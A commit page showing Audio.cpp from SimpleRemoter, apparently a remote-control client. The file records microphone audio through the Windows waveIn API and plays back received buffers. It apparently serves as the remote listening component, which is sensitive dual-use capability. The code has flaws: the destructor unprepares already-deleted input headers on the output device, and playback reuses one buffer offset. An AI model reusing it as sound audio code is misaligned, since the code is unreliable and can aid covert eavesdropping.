Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
yuanyuanxiang
231
client/Audio.cpp
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231
client/Audio.cpp
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// Audio.cpp: implementation of the CAudio class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "Audio.h"
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#include <iostream>
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#ifdef _WINDOWS
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#define __CreateThread CreateThread
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#else
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#include "SafeThread.h"
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#endif
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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CAudio::CAudio()
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{
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m_bExit = FALSE;
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m_hThreadCallBack = false;
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m_Thread = NULL;
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m_bIsWaveInUsed = FALSE;
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m_bIsWaveOutUsed = FALSE;
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m_nWaveInIndex = 0;
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m_nWaveOutIndex = 0;
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m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
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m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
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memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
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m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
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m_GSMWavefmt.wfx.nChannels = 1;
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m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
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m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
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m_GSMWavefmt.wfx.nBlockAlign = 65;
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m_GSMWavefmt.wfx.wBitsPerSample = 0;
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m_GSMWavefmt.wfx.cbSize = 2;
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m_GSMWavefmt.wSamplesPerBlock = 320;
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m_ulBufferLength = 1000;
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for (int i = 0; i < 2; ++i) {
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m_InAudioData[i] = new BYTE[m_ulBufferLength];
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m_InAudioHeader[i] = new WAVEHDR;
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m_OutAudioData[i] = new BYTE[m_ulBufferLength];
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m_OutAudioHeader[i] = new WAVEHDR;
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}
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}
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CAudio::~CAudio()
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{
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m_bExit = TRUE;
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if (m_hEventWaveIn) {
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SetEvent(m_hEventWaveIn);
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SAFE_CLOSE_HANDLE(m_hEventWaveIn);
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m_hEventWaveIn = NULL;
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}
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if (m_hStartRecord) {
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SetEvent(m_hStartRecord);
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SAFE_CLOSE_HANDLE(m_hStartRecord);
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m_hStartRecord = NULL;
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}
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if (m_bIsWaveInUsed) {
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waveInStop(m_hWaveIn);
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waveInReset(m_hWaveIn);
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for (int i = 0; i < 2; ++i)
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waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
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waveInClose(m_hWaveIn);
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WAIT (m_hThreadCallBack, 30);
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if (m_hThreadCallBack)
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Mprintf("没有成功关闭waveInCallBack.\n");
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TerminateThread(m_Thread, -999);
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m_Thread = NULL;
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}
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for (int i = 0; i < 2; ++i) {
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delete [] m_InAudioData[i];
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m_InAudioData[i] = NULL;
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delete [] m_InAudioHeader[i];
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m_InAudioHeader[i] = NULL;
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}
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if (m_bIsWaveOutUsed) {
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waveOutReset(m_hWaveOut);
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for (int i = 0; i < 2; ++i) {
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if (m_InAudioHeader[i])
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waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
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}
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waveOutClose(m_hWaveOut);
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}
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for (int i = 0; i < 2; ++i) {
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delete [] m_OutAudioData[i];
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m_OutAudioData[i] = NULL;
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delete [] m_OutAudioHeader[i];
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m_OutAudioHeader[i] = NULL;
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}
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}
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BOOL CAudio::InitializeWaveIn()
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{
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MMRESULT mmResult;
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DWORD dwThreadID = 0;
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m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
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waveInCallBack, (LPVOID)this,
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CREATE_SUSPENDED, &dwThreadID);
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//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
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mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
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&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
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//m_hWaveIn 录音机句柄
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if (mmResult != MMSYSERR_NOERROR) {
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return FALSE;
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}
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//录音设备 需要的两个缓冲
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for (int i=0; i<2; ++i) {
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m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
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m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
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m_InAudioHeader[i]->dwFlags = 0;
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m_InAudioHeader[i]->dwLoops = 0;
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waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
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}
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waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
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if (m_Thread!=NULL) {
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ResumeThread(m_Thread);
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}
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waveInStart(m_hWaveIn); //录音
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m_bIsWaveInUsed = TRUE;
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return true;
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}
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LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
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{
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//录音机
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if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
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return NULL;
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}
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SetEvent(m_hStartRecord);
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WaitForSingleObject(m_hEventWaveIn, INFINITE);
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*dwBufferSize = m_ulBufferLength;
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return m_InAudioData[m_nWaveInIndex]; //返出真正数据
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}
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DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
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{
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CAudio *This = (CAudio *)lParam;
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MSG Msg;
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while (GetMessage(&Msg, NULL, 0, 0)) {
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if (This->m_bExit)
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break;
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if (Msg.message == MM_WIM_DATA) {
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SetEvent(This->m_hEventWaveIn);
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WaitForSingleObject(This->m_hStartRecord, INFINITE);
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if (This->m_bExit)
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break;
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Sleep(1);
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This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
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//更新缓冲
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MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
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This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
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if (mmResult != MMSYSERR_NOERROR)
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break;
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}
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if (Msg.message == MM_WIM_CLOSE) {
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break;
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}
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TranslateMessage(&Msg);
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DispatchMessage(&Msg);
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}
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Mprintf("waveInCallBack end\n");
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This->m_hThreadCallBack = false;
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return 0XDEADAAAA;
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}
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BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
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{
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if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
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return NULL;
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for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
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memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
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waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
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m_nWaveOutIndex = 1 - m_nWaveOutIndex;
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}
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return true;
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}
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BOOL CAudio::InitializeWaveOut()
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{
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if (!waveOutGetNumDevs())
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return FALSE;
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for (int i = 0; i < 2; ++i)
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memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
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MMRESULT mmResult;
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mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
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if (mmResult != MMSYSERR_NOERROR)
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return false;
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for (int i = 0; i < 2; ++i) {
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m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
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m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
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m_OutAudioHeader[i]->dwFlags = 0;
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m_OutAudioHeader[i]->dwLoops = 0;
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waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
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}
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m_bIsWaveOutUsed = TRUE;
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return TRUE;
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}
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